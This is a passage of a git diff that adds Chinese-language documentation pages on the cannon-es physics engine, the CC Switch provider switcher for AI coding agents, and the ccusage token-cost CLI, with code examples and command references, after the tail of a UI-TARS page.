+- 论文：[UI-TARS: Pioneering Automated GUI Interaction with Native Agents](https://arxiv.org/abs/2501.12326)
+- 模型下载：[Hugging Face — UI-TARS-1.5-7B](https://huggingface.co/ByteDance-Seed/UI-TARS-1.5-7B)
+- Agent TARS 官网：[agent-tars.com](https://agent-tars.com)
+- Midscene：同团队的浏览器端 GUI Agent（[web-infra-dev/midscene](https://github.com/web-infra-dev/midscene)）
+- [Quick Start 文档](https://github.com/bytedance/UI-TARS-desktop/blob/main/docs/quick-start.md)
+
+## 关联
+
+- [[midscene]] —— 浏览器端的 GUI Agent，UI-TARS 团队出品
+- [[crewai]] —— 多 Agent 编排框架，可以和 UI-TARS 结合做多步骤自动化
+- [[dify]] —— AI 应用开发平台，也可以接入 GUI Agent 能力
+
+## 反向链接
+
+<!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
+
+- [[midscene]] —— Midscene — 浏览器中的 GUI Agent，视觉定位 + DOM 混合策略
diff --git a/src/content/docs/projects/cannon-es.md b/src/content/docs/projects/cannon-es.md
new file mode 100644
index 000000000..7af09bb28
--- /dev/null
+++ b/src/content/docs/projects/cannon-es.md
@@ -0,0 +1,291 @@
+---
+title: cannon-es — pmndrs 维护的 cannon.js 续作
+来源: 'https://github.com/pmndrs/cannon-es'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**cannon-es** 是 [pmndrs](https://github.com/pmndrs) 社区维护的**开源 JavaScript 3D 刚体物理引擎**，MIT 协议，GitHub 仓库 [pmndrs/cannon-es](https://github.com/pmndrs/cannon-es) 约 2k star。它是 Stefan Hedman 原版 [cannon.js](https://github.com/schteppe/cannon.js) 的**现代化续作**：TypeScript 重写、ESM/CJS 双格式 flat bundle、支持 tree shaking，API 与 three.js 生态高度契合。
+
+日常类比：把 cannon-es 想成**三维弹珠台的后台裁判**。你在 WebGL 场景里摆好球（Sphere）、箱子（Box）、地面（Plane），裁判按 SI 单位（米、千克、秒）每帧推进牛顿力学，并把「球现在在哪儿、朝哪转」写进 `Body.position` 与 `Body.quaternion`。你负责用 Three.js、Babylon.js 或 React Three Fiber 把 mesh 画出来；cannon-es **不负责渲染**，只算数学。
+
+与 C++ 的 Bullet 或 WASM 的 ammo.js 相比，cannon-es 的定位是**纯 JS、零编译、包体小**：适合浏览器里的交互 3D、教育 demo、原型和 `@react-three/cannon` 等上层封装。设计灵感来自 three.js 的简洁 API，算法 lineage 可追溯到 Bullet / ammo.js，但用法更像「在 JS 里直接 new 一个 World」。
+
+```js
+import * as CANNON from 'cannon-es'
+
+const world = new CANNON.World({
+  gravity: new CANNON.Vec3(0, -9.82, 0), // m/s²，接近地球重力
+})
+
+const radius = 1
+const sphereBody = new CANNON.Body({
+  mass: 5,
+  shape: new CANNON.Sphere(radius),
+})
+sphereBody.position.set(0, 10, 0)
+world.addBody(sphereBody)
+
+const groundBody = new CANNON.Body({
+  type: CANNON.Body.STATIC,
+  shape: new CANNON.Plane(),
+})
+groundBody.quaternion.setFromEuler(-Math.PI / 2, 0, 0)
+world.addBody(groundBody)
+
+function animate() {
+  requestAnimationFrame(animate)
+  world.fixedStep()
+  console.log(`y = ${sphereBody.position.y.toFixed(2)}`)
+}
+animate()
+```
+
+上面是官方 [getting-started](https://github.com/pmndrs/cannon-es/blob/master/getting-started.md) 的最小闭环：建 `World` → 加动态球与静态地面 → 每帧 `fixedStep()`。
+
+## 为什么重要
+
+不了解 cannon-es，下面这些事都难以解释：
+
+- 为什么 three.js 教程里常见 `cannon-es` 或 `@react-three/cannon`——它是 Web 3D 里**默认的轻量物理后端**之一
+- 为什么原 cannon.js 停更后 pmndrs 要 fork——旧库无 ESM、无类型、与 modern bundler 不兼容；cannon-es 补上了 **tree shaking 与 TS 类型**
+- 为什么物理坐标要用**米**而不是把 Three.js 里「1 单位 = 1 像素」——引擎按 MKS 调参，把角色设成 180「米」高会导致堆叠不稳、穿透或数值爆炸
+- 为什么 `fixedStep()` 与 `requestAnimationFrame` 帧率要分离——固定 1/60 s 子步避免大 dt 导致高速物体**隧道穿透**（tunneling）
+- 为什么 `applyForce` / `applyImpulse` 在 cannon-es 里相对**物体质心**——这是相对原版 cannon.js 的 breaking change，写玩法逻辑时必须读文档
+
+## 核心要点
+
+### 1. 物理世界（World）
+
+`CANNON.World` 是一帧 3D 仿真的总容器，持有所有 `Body`、约束与接触。常用配置：
+
+| 属性 | 含义 |
+|------|------|
+| `gravity` | 全局重力向量，默认 `(0, -9.82, 0)` |
+| `frictionGravity` | 可选；零重力场景下仍要摩擦时可单独设 |
+| `hasActiveBodies` | 是否还有未休眠的刚体；全休眠时可跳过渲染/物理以省电 |
+
+推进仿真的两种方式：
+
+- **`world.fixedStep(timeStep?)`**：推荐。内部记录上次调用时间，自动按固定步长（默认 1/60 s）推进，**与显示器帧率解耦**
+- **`world.step(timeStep, dt?, maxSubSteps?)`**：手动传入距上一帧的 `dt`，适合自定义时间轴或与服务器 tick 对齐
+
+类比：`fixedStep` 像节拍器——无论动画卡不卡，物理始终按 60 Hz 走；`step` 像指挥家自己数拍子。
+
+### 2. 刚体（Body）与形状（Shape）
+
+| 类型 | 条件 | 行为 |
+|------|------|------|
+| **Dynamic** | `mass > 0` | 受力、碰撞、积分 |
+| **Static** | `mass === 0` 或 `type: Body.STATIC` | 固定不动，作地面/墙 |
+| **Kinematic** | `type: Body.KINEMATIC` | 不受力，但可设 `velocity` 推动其它物体 |
+
+常见 **Shape**：
+
+| Shape | 用途 |
+|-------|------|
+| `Sphere` | 球体 |
+| `Box` | 轴对齐半Extents 盒子，`new Box(new Vec3(hx, hy, hz))` |
+| `Plane` | 无限平面，需用四元数旋转成「地面」 |
+| `Cylinder` | 圆柱 |
+| `ConvexPolyhedron` | 凸多面体 |
+| `Trimesh` | 三角网格（静态碰撞，部分配对未实现） |
+| `Heightfield` | 高度图地形 |
+
+一个 Body 可挂多个 Shape（复合碰撞体）。材质相关常用字段：`material`（摩擦/弹性）、`linearDamping`、`angularDamping`、`allowSleep`（休眠优化静止簇）。
+
+### 3. 材质与接触（Material / Contact）
+
+`CANNON.Material` 定义 `friction`（摩擦）与 `restitution`（恢复系数，0 = 不弹，1 = 完全弹性）。两材质相遇时可用 `CANNON.ContactMaterial` 覆盖默认组合行为，并 `world.addContactMaterial(...)` 注册。
+
+事件：`world.addEventListener('postStep', ...)` 或 body 级 `collide` 回调可响应碰撞，用于播放音效、计分、销毁物体。
+
+### 4. 约束（Constraint）
+
+`PointToPointConstraint`、`HingeConstraint`、`LockConstraint` 等把两个 Body 用关节连接，适合门铰、摆锤、布偶 ragdoll 简化版。用法模式：`new HingeConstraint(bodyA, bodyB, { pivotA, axisA, ... })` → `world.addConstraint(constraint)`。
+
+### 5. 与渲染器同步（Three.js 模式）
+
+cannon-es **不画任何东西**。标准模式：
+
+1. 为每个 `Body` 建对应 `THREE.Mesh`
+2. 每帧 `world.fixedStep()` 之后 `mesh.position.copy(body.position)`、`mesh.quaternion.copy(body.quaternion)`
+3. 再 `renderer.render(scene, camera)`
+
+上层封装 [@react-three/cannon](https://github.com/pmndrs/use-cannon)（包名 use-cannon）用 React hooks 自动完成 body ↔ mesh 绑定，但底层仍是 cannon-es。
+
+### 6. cannon-es 相对 cannon.js 的改进
+
+- **ESM + TypeScript**：`import { World, Body, Sphere } from 'cannon-es'` 可 tree shake
+- **`World.hasActiveBodies`**：静止场景跳过更新
+- **`World.frictionGravity`**：零重力仍可有摩擦
+- **力/冲量参考系修正**：`applyForce` / `applyImpulse` 相对 body 质心
+- 持续维护，与 pmndrs / R3F 生态对齐
+
+## 实践案例
+
+### 案例一：最小落球（纯 cannon-es）
+
+```js
+import * as CANNON from 'cannon-es'
+
+const world = new CANNON.World({ gravity: new CANNON.Vec3(0, -9.82, 0) })
+
+const ball = new CANNON.Body({
+  mass: 1,
+  shape: new CANNON.Sphere(0.5),
+})
+ball.position.set(0, 5, 0)
+world.addBody(ball)
+
+const floor = new CANNON.Body({
+  type: CANNON.Body.STATIC,
+  shape: new CANNON.Plane(),
+})
+floor.quaternion.setFromEuler(-Math.PI / 2, 0, 0)
+world.addBody(floor)
+
+for (let i = 0; i < 120; i++) {
+  world.fixedStep(1 / 60)
+}
+// 约 2 s 后 ball.position.y 接近 0.5（球半径），贴地静止
+```
+
+### 案例二：Three.js 同步 + 盒子堆叠
+
+```js
+import * as THREE from 'three'
+import * as CANNON from 'cannon-es'
+
+const scene = new THREE.Scene()
+const camera = new THREE.PerspectiveCamera(50, innerWidth / innerHeight, 0.1, 100)
+camera.position.set(0, 5, 10)
+const renderer = new THREE.WebGLRenderer({ antialias: true })
+renderer.setSize(innerWidth, innerHeight)
+document.body.appendChild(renderer.domElement)
+
+const world = new CANNON.World({ gravity: new CANNON.Vec3(0, -9.82, 0) })
+world.defaultContactMaterial.friction = 0.4
+world.defaultContactMaterial.restitution = 0.2
+
+// 地面：物理 Plane + 视觉 Box
+const groundBody = new CANNON.Body({
+  type: CANNON.Body.STATIC,
+  shape: new CANNON.Plane(),
+})
+groundBody.quaternion.setFromEuler(-Math.PI / 2, 0, 0)
+world.addBody(groundBody)
+
+const groundMesh = new THREE.Mesh(
+  new THREE.BoxGeometry(20, 0.2, 20),
+  new THREE.MeshStandardMaterial({ color: 0x444444 })
+)
+groundMesh.position.y = -0.1
+scene.add(groundMesh)
+
+// 三个叠放的动态盒子
+const boxes = []
+const size = 1
+for (let i = 0; i < 3; i++) {
+  const body = new CANNON.Body({
+    mass: 1,
+    shape: new CANNON.Box(new CANNON.Vec3(size / 2, size / 2, size / 2)),
+  })
+  body.position.set(0, size / 2 + i * size + 0.01, 0)
+  world.addBody(body)
+
+  const mesh = new THREE.Mesh(
+    new THREE.BoxGeometry(size, size, size),
+    new THREE.MeshStandardMaterial({ color: 0x4488ff })
+  )
+  scene.add(mesh)
+  boxes.push({ body, mesh })
+}
+
+const light = new THREE.DirectionalLight(0xffffff, 1)
+light.position.set(5, 10, 5)
+scene.add(light, new THREE.AmbientLight(0x404040))
+
+function animate() {
+  requestAnimationFrame(animate)
+  world.fixedStep()
+
+  for (const { body, mesh } of boxes) {
+    mesh.position.copy(body.position)
+    mesh.quaternion.copy(body.quaternion)
+  }
+
+  renderer.render(scene, camera)
+}
+animate()
+```
+
+要点：视觉地面用薄 Box 即可，物理仍用无限 `Plane`；堆叠时给微小 y 间隙（`+ 0.01`）减少初始穿透。每帧**先** `fixedStep()` **再** copy 位姿。
+
+### 案例三：施加冲量（第一人称「推箱子」）
+
+```js
+import * as CANNON from 'cannon-es'
+
+const world = new CANNON.World({ gravity: new CANNON.Vec3(0, -9.82, 0) })
+const crate = new CANNON.Body({
+  mass: 10,
+  shape: new CANNON.Box(new CANNON.Vec3(0.5, 0.5, 0.5)),
+})
+world.addBody(crate)
+
+// 在物体局部 +Z 方向施加冲量（cannon-es：相对质心）
+crate.applyImpulse(new CANNON.Vec3(0, 0, 5), new CANNON.Vec3(0, 0, 0.5))
+
+world.fixedStep(1 / 60)
+// crate.velocity 在 z 方向获得增量，随后重力与摩擦共同作用
+```
+
+`applyImpulse(force, relativePoint)` 的第二个参数是作用点相对质心的偏移；设为 `(0,0,0.5)` 可产生轻微扭矩，箱子会边滑边转。
+
+## 与相关项目对比
+
+| 引擎 | 维度 | 语言/运行时 | 典型场景 |
+|------|------|-------------|----------|
+| **cannon-es** | 3D | 纯 JS | Web 原型、Three.js、R3F |
+| **Matter.js** | 2D | 纯 JS | Canvas 2D 游戏、教育 |
+| **Box2D** | 2D | C++ / 移植 | 成熟 2D 手游、平台跳跃 |
+| **ammo.js** | 3D | Bullet → WASM | 需要 Bullet 全特性、较大场景 |
+| **Rapier** | 2D/3D | Rust → WASM | 新项目、性能敏感 Web 3D |
+
+选型口诀：**浏览器里快速接 Three.js → cannon-es 或 Rapier**；**只要 2D → Matter.js / Box2D**；**要与桌面 Bullet 管线一致 → ammo.js**。
+
+## 常见坑
+
+1. **单位混乱**：Three.js 常用「任意单位」，cannon-es 默认按**米-千克-秒**。1 个 Three 单位当 1 米通常最稳。
+2. **Plane 方向**：默认 Plane 法线为 +Z，地面需 `quaternion.setFromEuler(-Math.PI / 2, 0, 0)` 旋到 +Y 朝上。
+3. **只 step 不 sync**：物理在跑但 mesh 不动——忘记 copy `position` / `quaternion`。
+4. **Trimesh 与 Box 碰撞**：官方矩阵标注部分配对为 `(todo)`，复杂关卡先用 Convex / Compound 或简化碰撞体。
+5. **大 dt 穿透**：勿用可变 `dt` 直接替代固定步；优先 `fixedStep()` 或 `step` 的多子步。
+6. **从 cannon.js 迁移**：检查 `applyForce` 参考系、导入路径 `cannon` → `cannon-es`、CJS 全局 `CANNON` 改为 ESM。
+
+## 安装与资源
+
+```bash
+npm install cannon-es
+# 或配合 Three / R3F
+npm install three cannon-es
+npm install @react-three/cannon @react-three/fiber three cannon-es
+```
+
+| 资源 | 链接 |
+|------|------|
+| 官方文档 | https://pmndrs.github.io/cannon-es/docs/ |
+| Getting Started | https://github.com/pmndrs/cannon-es/blob/master/getting-started.md |
+| 交互示例 | https://pmndrs.github.io/cannon-es/ |
+| three.js 示例源码 | https://github.com/pmndrs/cannon-es/blob/master/examples/threejs.html |
+| React 封装 | https://github.com/pmndrs/use-cannon |
+
+## 小结
+
+cannon-es 是 **Web 端轻量 3D 刚体物理**的事实标准之一：World 装场景，Body + Shape 描述物体，每帧 `fixedStep()` 推进，再把位姿同步给渲染器。它不负责画面，却能让 Three.js 里的箱子、球体、多米诺骨牌「真的」受重力、碰撞和摩擦。零基础路径：**官方落球示例 → 接 Three.js copy 位姿 → 读 ContactMaterial 与 Constraint → 需要 React 时再上 @react-three/cannon**。
diff --git a/src/content/docs/projects/cc-switch-desktop.md b/src/content/docs/projects/cc-switch-desktop.md
new file mode 100644
index 000000000..87ffae149
--- /dev/null
+++ b/src/content/docs/projects/cc-switch-desktop.md
@@ -0,0 +1,128 @@
+---
+title: CC Switch — 一个按钮切换所有 AI coding agent 的桌面助手
+来源: 'https://github.com/farion1231/cc-switch'
+日期: 2026-06-13
+分类: CLI
+子分类: 开发者工具
+provenance: pipeline-v3
+---
+
+## 是什么
+
+CC Switch 是一个跨平台的**桌面应用程序**，让你用同一个界面管理所有 AI 编码助手——Claude Code、Claude Desktop、Codex、Gemini CLI、OpenCode、OpenClaw、Hermes——不用手动翻 JSON 配置文件去改 API key 或者代理地址。
+
+最直白的类比：你有一个抽屉，里面放着 7 把钥匙，每把钥匙对应一台不同品牌的自动售货机。以前你要一把一把地拉开抽屉、找到对应钥匙、插进去。CC Switch 就是在抽屉外面装了个旋钮，拧一下，所有机器自动换到新的钥匙。**一键切换**，不用翻抽屉。
+
+它底层做的事情其实很简单：每个 coding agent 都在自己的配置文件里存了 API key（比如 Claude Code 用 `.claude/.env`，Gemini CLI 用 `.gemini/.env`，OpenCode 用 `.opencode/.env`），CC Switch 帮你**批量改这些文件**，并且用 SQLite 数据库记录你当前的配置快照，支持导出、导入、云同步。
+
+## 核心架构
+
+CC Switch 用了 **Tauri 2**——一套把 React 前端和 Rust 后端绑在一起的框架。为什么选它？因为 Electron 会把整个 Chromium 浏览器打包进去，一个应用动不动 100MB+；Tauri 直接用操作系统自带的 WebView（macOS 是 WKWebView，Windows 是 WebView2），最终安装包不到 10MB。
+
+```
+┌─────────────────────────────────────────────────┐
+│  前端：React + TypeScript + TailwindCSS        │
+│  (用户看到的界面：Provider 列表、MCP 面板等)    │
+├─────────────────────────────────────────────────┤
+│  Tauri IPC（前后端通信通道）                    │
+├─────────────────────────────────────────────────┤
+│  后端：Rust + SQLite + Tauri Plugin            │
+│  (改配置文件、管理数据库、代理转发)             │
+└─────────────────────────────────────────────────┘
+```
+
+数据存在 `~/.cc-switch/cc-switch.db`（SQLite），每个 provider 的配置、MCP server 地址、proxy 设置都存在这里。切换时，后端读数据库、按规则写入各 agent 的配置文件——这就是它说的 **"双写"（Dual-layer Storage）**：SQLite 是"记忆"，JSON 文件是"生效"。
+
+## 关键功能
+
+### 1. Provider 管理（内置 50+ 供应商预设）
+
+这是 CC Switch 最核心的功能。比如你想从"官方 Anthropic API"切到"PackyCode 中转"，以前你要：
+
+```bash
+# 旧方式：手动编辑每个 agent 的 .env 文件
+echo "ANTHROPIC_API_KEY=sk-packycode-xxx" >> ~/.claude/.env
+echo "OPENAI_API_KEY=sk-packycode-xxx" >> ~/.codex/.env
+echo "GEMINI_API_KEY=xxx-packycode" >> ~/.gemini/.env
+```
+
+用 CC Switch，你在界面上选预设、粘贴一次 key，它自动写入所有 7 个 agent 的配置文件。它还支持**通用 provider（Universal Providers）**——改一处，Claude Code、Codex、Gemini CLI 同时生效。
+
+### 2. 本地代理 + 故障转移
+
+CC Switch 内置了一个本地代理服务器，能自动转换不同供应商的 API 格式。假设你用了一个第三方中转，它返回的 JSON 格式和 Anthropic 官方不完全一样，代理层负责**格式转换**，让你不用改 agent 的调用代码。
+
+它还支持**熔断器（Circuit Breaker）**——如果某个供应商连续失败 N 次，自动切到备用供应商，就像电闸跳闸后自动换另一路供电。
+
+```rust
+// Rust 后端：ProviderService 处理切换逻辑（伪代码示意）
+async fn switch_provider(&self, target: ProviderId) -> Result<()> {
+    // 1. 从 SQLite 读取目标 provider 的配置
+    let config = self.db.get_provider(target).await?;
+
+    // 2. 批量写入各 agent 的配置文件（原子写入：先写临时文件再 rename）
+    let ClaudeConfig = convert_to_claude_env(&config);
+    let CodexConfig = convert_to_codex_env(&config);
+
+    // 3. 写 .env 文件（temp + rename 防损坏）
+    atomic_write(Path::new("~/.claude/.env"), ClaudeConfig).await?;
+    atomic_write(Path::new("~/.codex/.env"), CodexConfig).await?;
+
+    Ok(())
+}
+```
+
+### 3. MCP 统一面板
+
+MCP（Model Context Protocol）是 AI agent 用来连接外部工具的协议。Claude、Codex、Gemini、OpenCode 各有自己的 MCP 配置文件。CC Switch 给了一个**统一面板**，可以同时管理所有 agent 的 MCP server，支持双向同步——改了任意一个，其他自动跟上。
+
+### 4. 系统托盘 + 云同步
+
+切换后不用打开完整应用，**系统托盘菜单**就能一键换 provider。配置数据还能通过 Dropbox、OneDrive、iCloud、WebDAV 跨设备同步。
+
+## 实际使用场景
+
+假设你正在做 AI 编程相关的工作，同时测试多个模型：
+
+```typescript
+// 前端 TypeScript：调用 Tauri 后端 API 切换 provider（类型安全封装）
+import { switchProvider } from '@/lib/api/provider';
+
+// 用户点击界面上的"切换至 MiniMax"按钮
+async function onSwitchToMiniMax() {
+  try {
+    await switchProvider({
+      name: 'MiniMax',
+      claude: { apiKey: 'sk-minimax-xxx', baseUrl: 'https://api.minimax.io' },
+      codex: { apiKey: 'sk-minimax-xxx' },
+      gemini: { apiKey: 'minimax-xxx' },
+    });
+    // 切换成功后，后端自动写入了 7 个 agent 的 .env 文件
+  } catch (err) {
+    console.error('切换失败:', err);
+  }
+}
+```
+
+## 为什么值得了解
+
+不理解 CC Switch，下面这些事都没法解释：
+
+- 为什么 2025-2026 年 AI coding agent 生态突然从"一个工具"变成"七八个工具并行"，以及这种碎片化带来的配置灾难
+- 为什么 API 中转/中继服务（relay）大量涌现——每个 agent 都能独立接中转，但手动管理 7 份配置太痛苦
+- 为什么 Tauri 在 AI 工具类桌面应用里越来越受欢迎：体积小的同时能直接操作本地文件系统（这是读写 `.env` 的前提）
+- 为什么 MCP 协议需要统一管理——7 个 agent × 各自独立配置 = 49 个容易出错的配置文件
+
+## 技术亮点
+
+**原子写入（Atomic Writes）**：CC Switch 改配置文件不是直接 `echo > file`，而是先写一个 `.tmp` 临时文件，确认写完了再用 `rename` 操作替换原文件。这样万一中途崩溃，原配置不会损坏。就像换灯泡前先挂好新的，确认挂稳了再拆旧的。
+
+**并发安全**：所有数据库操作通过 Mutex 保护，不会出现两个窗口同时改配置导致数据冲突的情况。
+
+**双层存储**：SQLite 存"记忆"（你的预设、历史），JSON 文件存"生效"（agent 真正读的配置）。切换时双向同步：写文件时也更新数据库，读配置时先回写数据库。
+
+## 总结
+
+CC Switch 本质上是 AI coding agent 时代的**"配置路由器"**。它不替代任何 agent，而是让你在 7 个 agent 之间做选择的成本从"手动改 7 个文件"降到"点一下按钮"。对正在同时测试多个模型、多个中转供应商的开发者来说，它解决了一个真实且高频的问题。
+
+技术选型上，Tauri 2 + Rust 后端 + SQLite 的组合让它轻量、安全、可跨平台，50+ 预设和 4 语言支持也说明作者对这个生态有深入了解。如果你想在一个界面里管好所有 AI 助手，它是目前市面上最成熟的选择之一。
diff --git a/src/content/docs/projects/ccusage.md b/src/content/docs/projects/ccusage.md
new file mode 100644
index 000000000..48f929120
--- /dev/null
+++ b/src/content/docs/projects/ccusage.md
@@ -0,0 +1,217 @@
+---
+title: ccusage — 本地 Coding CLI 用量与成本「账单解析器」
+来源: 'ryoppippi, "ccusage", https://github.com/ryoppippi/ccusage'
+日期: 2026-06-13
+子分类: 命令行工具
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**ccusage**（coding CLI usage 的缩写）是一个**完全本地运行**的命令行工具：它读取 Claude Code、Codex、OpenCode、Gemini CLI 等编程代理在你电脑上自动写下的 JSONL / 会话日志，把 token 用量和**估算美元成本**汇总成可读表格或 JSON。
+
+日常类比：
+
+> 手机运营商不会在你每次刷视频时弹窗报账，但月底会出一份**流量详单**——哪天用了多少 GB、哪个 App 最费流量、合计多少钱。
+> 你用 Coding CLI 写代码时，代理同样在本地悄悄记「输入/输出 token、模型名、缓存命中」；ccusage 就是那份**详单解析器**。
+> 数据不上传云端，只在你的机器上读文件、算数、打印表格。
+
+项目由 [@ryoppippi](https://github.com/ryoppippi) 维护，GitHub 约 1.5 万 star，npm 包名 `ccusage`，文档站 [ccusage.com](https://ccusage.com/)。实现以 Rust 为主，体积极小，推荐用 `bunx ccusage` 免安装直接跑。
+
+## 为什么重要
+
+2025–2026 年，开发者日常工具从「网页聊天」变成**终端里的编程代理**。Claude Code、Codex、Cursor Agent 等按 token 计费或受订阅额度约束，但**原生 UI 很少告诉你**：
+
+- 今天已经烧了多少 Opus / Sonnet？
+- 上周 refactor 大仓库的那次 session 单独花了多少钱？
+- Claude Max 的 **5 小时滚动窗口**还剩多少额度？
+- 同一台机器上 Codex 和 Claude Code 加起来本月多少？
+
+ccusage 的价值在于：
+
+| 痛点 | ccusage 怎么做 |
+|------|----------------|
+| 用量分散在多个 CLI | 默认**自动检测**已安装代理，一张表汇总 |
+| 只有 token 没有钱 | 按 LiteLLM 定价表**估算 USD**（可 `--offline`） |
+| 想按项目/会话复盘 | `session`、`--instances`、`--project` 多维切片 |
+| 要接脚本或仪表盘 | `--json` 导出结构化数据 |
+| Claude 限流窗口难感知 | `blocks` 子命令对齐 **5 小时 billing window** |
+
+**隐私边界**：只读本地日志，不把对话内容发到 ccusage 服务器。成本是**估算值**，与官方账单可能有偏差，适合趋势监控而非财务对账。
+
+## 安装与第一次运行
+
+无需全局安装，任选包运行器：
+
+```bash
+# 推荐：bunx 会缓存包，第二次起更快
+bunx ccusage
+
+# 其他方式
+npx ccusage@latest
+pnpm dlx ccusage
+nix run github:ryoppippi/ccusage -- daily
+```
+
+前提：至少用过一种受支持的 Coding CLI，且本地已有 usage 日志。若表格为空，先确认对应数据目录存在（见下文「数据从哪来」）。
+
+## 核心概念
+
+### 1. 数据源（Agent / Source）
+
+ccusage 不 hook 网络请求，只扫描各 CLI 的**默认数据目录**。常用路径：
+
+| Agent | 命令前缀 | 典型数据位置 |
+|-------|----------|--------------|
+| Claude Code | `ccusage claude` | `~/.config/claude/projects/` 或 `~/.claude/projects/` |
+| Codex | `ccusage codex` | `${CODEX_HOME:-~/.codex}` |
+| OpenCode | `ccusage opencode` | `${OPENCODE_DATA_DIR:-~/.local/share/opencode}` |
+| Gemini CLI | `ccusage gemini` | `${GEMINI_DATA_DIR:-~/.gemini/tmp}` |
+| GitHub Copilot CLI | `ccusage copilot` | `~/.copilot/otel/*.jsonl` |
+
+完整列表见 [ccusage.com/guide](https://ccusage.com/guide/)。环境变量可指向自定义路径，多个目录可用逗号分隔。
+
+### 2. 报告维度（Report Views）
+
+同一批原始日志，可按不同「切片方式」聚合：
+
+- **daily / weekly / monthly**：按日历日期、周、月汇总——适合看趋势、做预算。
+- **session**：按**单次对话**汇总——适合复盘「哪次 debug 最费 token」。
+- **blocks**（Claude Code 专用）：按 Anthropic **5 小时滚动计费窗口**——对齐 Max / Pro 限流体感。
+- **statusline**（Beta）：输出一行紧凑摘要，供 Claude Code **status bar hook** 调用。
+
+默认 `ccusage` = `ccusage daily`，且**包含所有已检测到的 Agent**。要只看某一个：`ccusage claude daily`。
+
+### 3. Token 与成本模型
+
+表格列通常包括：
+
+- **Input / Output**：发给模型 / 模型返回的 token 数。
+- **Cache Create / Cache Read**（宽终端）：Prompt Cache 写入与命中——命中通常更便宜，是 Claude 长上下文场景的省钱关键。
+- **Cost (USD)**：根据模型单价推算，非官方发票。
+
+`--breakdown` 可展开**按模型**的成本明细；`--mode display`（Claude）等源专属 flag 影响 Claude 侧 token 分类方式。
+
+### 4. 过滤、时区与输出形态
+
+- `--since YYYYMMDD` / `--until YYYYMMDD`：日期范围。
+- `--timezone UTC`：按指定时区切日——跨时区团队对齐「今天」的定义。
+- `--json`：机器可读，便于 jq / Python 二次分析。
+- `--compact`：窄表，适合截图分享。
+- `--offline`：用内置缓存定价，无网络也能估算 Claude 模型成本。
+
+终端宽度 &lt; 100 字符时自动隐藏次要列；可用 `--color` / `--no-color` 控制着色。
+
+### 5. Claude 项目维度（Instances）
+
+Claude Code 按仓库/项目写不同子目录。`--instances` 按**项目实例**分组；`--project <name>` 过滤单一项目——适合 monorepo 或同时维护多个客户代码库时，看清「哪个项目最吃 token」。
+
+## 实践案例
+
+### 案例 1：每日巡检——本月 Claude + Codex 各花多少
+
+适合：个人开发者想控制订阅预算，每天早上扫一眼。
+
+```bash
+# 看 6 月整月，所有已检测 CLI 的日汇总
+bunx ccusage monthly --since 20260601 --until 20260630
+
+# 只要 Claude Code，并按模型拆成本
+bunx ccusage claude daily --breakdown --since 20260601
+
+# 只要 Codex
+bunx ccusage codex daily --since 20260601
+```
+
+读表时重点看：**Cost 列突增的日期**是否对应大 refactor、长 session 或未换 Sonnet；**Cache Read** 比例高说明 prompt caching 在起作用。
+
+### 案例 2：导出 JSON，用 jq 找「最贵的前 5 个 session」
+
+适合：写周报、或把数据喂给自建 Grafana / Obsidian 数据view。
+
+```bash
+bunx ccusage session --json > /tmp/ccusage-sessions.json
+
+# 示例：按 cost 降序取前 5（字段名以实际 JSON 为准，可用 jq 'keys' 探测）
+jq '[.[] | select(.cost != null)] | sort_by(-.cost) | .[0:5]' /tmp/ccusage-sessions.json
+```
+
+也可走管道一次性统计：
+
+```bash
+bunx ccusage daily --json --since 20260601 | jq '[.[] | .cost] | add'
+```
+
+团队规范：CI 不必跑 ccusage，但可在**每月 1 号 cron** 跑 `monthly --json` 归档到 git-ignored 目录，对比环比。
+
+### 案例 3：Claude Max 用户——盯 5 小时 block 剩余额度
+
+Claude 订阅对用量按**滚动 5 小时窗口**限流，不是自然日。ccusage 的 `blocks` 子命令专门对齐这一计费语义：
+
+```bash
+bunx ccusage blocks
+bunx ccusage claude blocks --timezone Asia/Shanghai
+```
+
+输出会标出当前 active block 内的用量与窗口边界。配合 **statusline** 可在 Claude Code 底部状态栏实时看到 burn rate（Beta，需在 Claude hooks 配置里调用 `ccusage statusline`）。
+
+### 案例 4：多项目 Claude Code——谁最费 Opus
+
+```bash
+# 列出各 project instance 的日用量
+bunx ccusage claude daily --instances --since 20260601
+
+# 只看名为 my-api 的项目
+bunx ccusage claude daily --instances --project my-api --json
+```
+
+发现某个 side project 意外全是 Opus 时，可以回到 Claude Code 用 `/model` 切 Sonnet，或缩短 AGENTS.md 注入的上下文。
+
+## 配置与扩展
+
+ccusage 支持 JSON **配置文件**设置默认时区、颜色、数据源路径等（详见官方 Configuration 页）。优先级大致为：**CLI 参数 &gt; 配置文件 &gt; 自动检测默认值**。
+
+其他能力：
+
+- **MCP Server**：ccusage 可暴露为 Model Context Protocol 服务，让别的代理查询本地用量（集成场景）。
+- **Nix Flake**：`nix run github:ryoppippi/ccusage` 可复现构建，定价文件嵌入 flake，沙箱构建无需联网拉价目表。
+
+## 常见问题
+
+**Q：表格是空的？**  
+先确认对应 CLI 至少成功跑过一次；检查 `~/.config/claude/projects/`、`~/.codex` 等是否存在 JSONL。自定义路径用 `CLAUDE_CONFIG_DIR`、`CODEX_HOME` 等环境变量。
+
+**Q：成本和 Anthropic 发票对不上？**  
+正常。ccusage 按公开定价估算，不含税费、促销、Team 座位分摊；Web Search 等**非 LLM 工具调用**也可能不在 token 日志里。
+
+**Q：和 Claude Code 内置 `/cost` 有什么区别？**  
+内置命令看**当前会话**；ccusage 跨会话、跨日期、**跨多个 CLI** 做离线聚合，更适合长期统计。
+
+**Q：Windows 能用吗？**  
+可以。WSL 下路径与 Linux 一致；原生 Windows 需注意各 CLI 的数据目录位置，必要时用环境变量指向 `%USERPROFILE%` 下实际路径。
+
+## 常用命令速查
+
+| 目的 | 命令 |
+|------|------|
+| 今日默认总览 | `bunx ccusage` |
+| 周/月趋势 | `bunx ccusage weekly` / `monthly` |
+| 单 CLI | `bunx ccusage claude daily` |
+| 按会话 | `bunx ccusage session` |
+| Claude 5h 窗口 | `bunx ccusage blocks` |
+| 导出 JSON | `bunx ccusage daily --json` |
+| 日期过滤 | `--since 20260601 --until 20260613` |
+| 离线估价 | `--offline` |
+| 帮助 | `bunx ccusage --help` |
+
+## 延伸阅读
+
+- 官方文档：[ccusage.com/guide](https://ccusage.com/guide/)
